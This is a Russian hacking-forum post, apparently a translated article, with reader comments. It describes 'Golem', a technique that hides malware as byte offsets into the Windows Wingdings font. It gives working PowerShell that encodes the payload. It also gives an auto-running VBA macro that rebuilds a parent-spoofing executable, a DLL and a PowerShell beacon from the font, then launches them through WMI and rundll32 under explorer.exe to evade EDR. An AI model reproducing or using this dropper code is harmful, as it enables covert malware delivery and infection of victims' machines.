Статья Golem Malware - Малварь, который скрывается в шрифте windows

Введение

Подход "Living Off the Land" в хакинге заключается в выполнении вредоносных действий из легитимных бинарных файлов, уже установленных на конечной системе жертвы. Для передачи внешних файлов нет необходимости упаковывать дополнительное программное обеспечение в багаж полезной нагрузки: оно уже находится на компьютере жертвы.

Тем не менее, во многих случаях, общая атака будет следовать этим шагам:
1. Доставить файл, содержащий пэйлоад, который может содержать:
- Вредоносный код, который необходимо выполнить.
- Или
- Не вредоносный код; пэйлоад загрузит вредоносные компоненты на третьем шаге.
2. Убедить жертву выполнить полезную нагрузку
3. После этого пэйлоад:
- Выполнит вредоносные компоненты с помощью LoLBIN
- Или
- Скачает, а затем выполнит вредоносные компоненты с помощью LoLBIN

Цель

Я хотел бы получить решение, которое отвечает следующим критериям:
- Не содержит вредоносного кода
- Не загружает вредоносный код
- Выполнение вредоносного кода

Малварь, генерирующая себя из шрифтов жертвы

Во-первых, нам нужно найти компонент, который является одинаковым на каждой версии операционной системы Windows. Я искал этот святой Грааль и нашел это:

windgings.png


Я сравнил шрифт с многими версиями Windows, и шрифт был точно таким же. Мы могли бы достичь нашей цели с помощью этого шрифта, который является общим элементом между всеми компьютерами под Windows. Как этого добиться? Рецепт такой:

1. Сбор байтов из нашего малваря на наш компьютере
2. Сравнение первого байта нашей вредоносной программы со шрифтом Wingdings
3. Как только мы находим один и тот же байт в шрифте, мы записываем его позицию в текстовый файл
4. Мы повторяем этот процесс, пока не найдем все байты, содержащиеся в нашем малваре, и не запишем их позиции в наш текстовый файл
5. Наша полезная нагрузка будет содержать позицию из шрифта Wingdings для каждого его байта
6. Попав на машину жертвы, пэйлоад будет строить свои вредоносные компоненты, используя байты из шрифта Wingdings

Код в PowerShell для поиска байтов в шрифте:
Код:
$Font = "C:\Windows\Fonts\wingding.ttf"
$Malware = "C:\Users\Administrator\Pictures\2.PNG"

$fontArray = Get-Content $Font -Encoding Byte -ReadCount 0
$malwareArray = Get-Content $Malware -Encoding Byte -ReadCount 0
$offsetArray = @()
foreach ($byteInMalware in $malwareArray){
    $index = 0
    foreach ($byteInFont in $fontArray) {
        if ($byteInMalware -eq $byteInFont) {
            $offsetArray += $index
            break
        }
        $index++
    }
}

Код PowerShell для создания VBA кода, который можно вставить в макрос. Этот код создаст массивы байтов, содержащие позицию байтов для построения вредоносного компонента:

Код:
$i=0
$payload = ""
$j=0
$u=1
$payDef = ""
foreach($offset in $offsetArray){

    if($i -eq 30) {
        $payload = $payload + ", " + $offset + " _`r`n"
        $i=0  
        $j++
    }
    else {
       if($i -eq 0) {
        $payload = $payload + $offset  
       }
       else {
        $payload = $payload + ", " + $offset  
       }
    }
    if($j -eq 25)  {
        $payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
        $payload = ""
        $u++
        $j = 0
    }
    $i++
}
if($payload -ne ""){
$payDef = $payDef + "`r`nFunction ccc$u()
tt$u = Array($payload)
ccc$u = tt$u
End Function"
}

$payDef

Результат:

bytearrays.png


Следующий VBA код будет использовать созданный нами массив байтов для генерации вредоносных компонентов. Следующий шаг исходного кода - выбор explorer.exe как родительский процесс для RunDll32.exe (чтобы запутать продукты EDR; -)), затем выполнит вредоносные компоненты с RunDll32.exe. Это можно заменить на внедрение процессов в память, вместо записи файлов на диск. Упражнение оставлено читателю.

VBA код:

[...] --> массив байтов, содержащий положение необходимых байтов в шрифте Wingdings

Пример соединения байтов для первого вредоносного компонента

Код:
    t1 = cc1
    t2 = cc2
    t3 = cc3
    t4 = cc4
    t5 = cc5
    t6 = cc6
    t7 = cc7
    t8 = cc8
    t9 = cc9
    t10 = cc10
    t11 = cc11
    t12 = cc12
    t13 = cc13
    t14 = cc14
    t15 = cc15
    t16 = cc16
    t17 = cc17
    t18 = cc18

    ttt = Split(Join(t1, ",") & "," & Join(t2, ",") & "," & Join(t3, ",") & "," & Join(t4, ",") & "," & Join(t5, ",") & "," & Join(t6, ",") & "," & Join(t7, ",") & "," & Join(t8, ",") & "," & Join(t9, ",") _
     & "," & Join(t10, ",") & "," & Join(t11, ",") & "," & Join(t12, ",") & "," & Join(t13, ",") & "," & Join(t14, ",") & "," & Join(t15, ",") & "," & Join(t16, ",") & "," & Join(t17, ",") & "," & Join(t18, ","), ",")

[...]

Код:
Dim nb As Integer
    Dim nb2 As Integer
    nb = UBound(ttt) - LBound(ttt) + 1 'ttt is a joined byte array
    nb2 = UBound(tt) - LBound(tt) + 1
    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1
    Dim intFileNumber As Integer
    Dim i As Integer
    Dim j As Integer
    Dim lngFileSize As Long
    Dim lngFileSize2 As Long
    Dim strBuffer As String
    Dim strBuffer2 As String
    Dim lngCharNumber As Long
    Dim lngCharNumber2 As Long
    Dim strCharacter As String * 1
    Dim strCharacter2 As String * 1
    Dim strFileName As String
    Dim strFileName2 As String
    Dim offset() As Variant
    
    strFileName = "C:\Windows\Fonts\wingding.ttf"
    intFileNumber = FreeFile
    Open strFileName For Binary Access Read Shared As #intFileNumber
        lngFileSize = LOF(intFileNumber)
        strBuffer = Space$(lngFileSize)
        Get #intFileNumber, , strBuffer
    Close #intFileNumber

   Dim nFileNum As Long
   Dim sFilename As String
   Dim ind As Long
   sFilename2 = "C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary that will be use to select the parent of rundll32
   sFilename = "C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will run powershell beacon from an image
   sFilename3 = "C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beacon registered in an .ICO
   nFileNum = FreeFile
   ' a loop would be better ;-)
   Open sFilename2 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb - 1
        ind = lngCharNumber + 1
        off = ttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum

   nFileNum = FreeFile
   Open sFilename For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb2 - 1
        ind = lngCharNumber + 1
        off = tt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum

   nFileNum = FreeFile
   Open sFilename3 For Binary Lock Read Write As #nFileNum
       For lngCharNumber = 0 To nb3 - 1
        ind = lngCharNumber + 1
        off = ttttttt(lngCharNumber)
        strCharacter = Mid(strBuffer, off, 1)
        Put #nFileNum, ind, strCharacter
       Next lngCharNumber
   Close #nFileNum
   rr
End Sub

Sub rr()
  Dim xx As String
  Dim oihfasf As Object, eopuf As Object, kdj As Object
  Dim oDic As Object, a() As Variant
  Dim pskaf As Integer

  Set oDic = CreateObject("Scripting.Dictionary")

  xx = "."

  Set oihfasf = GetObject("winmgmts:\\" _
      & xx & "\root\CIMV2")
  Set eopuf = oihfasf.ExecQuery _
      ("Select Name, ProcessID FROM Win32_Process", , 48)

  For Each kdj In eopuf
      If (kdj.Properties_("Name").Value) = "explorer.exe" Then
          pskaf = (kdj.Properties_("ProcessID").Value)
      End If
  Next
Dim t As Date

Dim cnt As Long
Dim arr(2) As Byte

Dim xl As String
xl = "C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exe C:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -f C:\Users\Public\Documents\BEACON.ico"" " & pskafxx = "."
Set ow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")
Set os = ow.Get("Win32_ProcessStartup")
Set oc = os.SpawnInstance_
Set op = GetObject("winmgmts:\\" & xx & "\root\cimv2:Win32_Process")
op.Create xl, Null, oc, aslh

End Sub
Sub AutoOpen()
    cc
End Sub
Sub Workbook_Open()
    cc
End Sub

Вот и все ребята!

Источник:
 

Вложения

  • bootkit-head-640x353.jpg
    bootkit-head-640x353.jpg
    65,1 КБ · Просмотры: 380
Последнее редактирование:
сдаётся мне что это даже топикстартеру не по силам:ROFLMAO:
по силам только репостить западных авторов
 
"Малварь, генерирующая себя из шрифтов жертвы"
Ну я считаю, что она не генерирует, а просто кодирует. То же самое, если бы пэйлоад был исполнен в виде строк base64. Но для выполнения пэйлоада нужно было его декодировать согласно заданному алгоритму. Я тоже думал над методами "случайной" генерации вредоносного функционала, но пэйлоад в таком случае разрастался в несколько раз.
 
  • Нравится
Реакции: NoRDss
Ондрик, научи!!! )))
Статья понравилась... Только ничего не понятно... Ахахха ))))
да что тут не понятного?)) Классика сгенерь, за криптуй, отправь, убеди запустить)) + тут еще VBA, а значит можно впихнуть в документ в виде макроса ( ) есть много аналогов и методик которые все это делают на автоматизме, например macropack здесь как мне показалось статья носит чисто иследовательский характер и можно по заимствовать пару приемов для облегчения своей жизни и простоты решения своих-же задач))

надеюсь автор ру-варианта, сам понял про что он написал?)) так как данная атака одна из любимых методик apt-32, VBA они любят)
 
Последнее редактирование:
  • Нравится
Реакции: Tihon49
По большому счету вариант на тему, XOR или любой другой вариант модификации по олгаритму.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!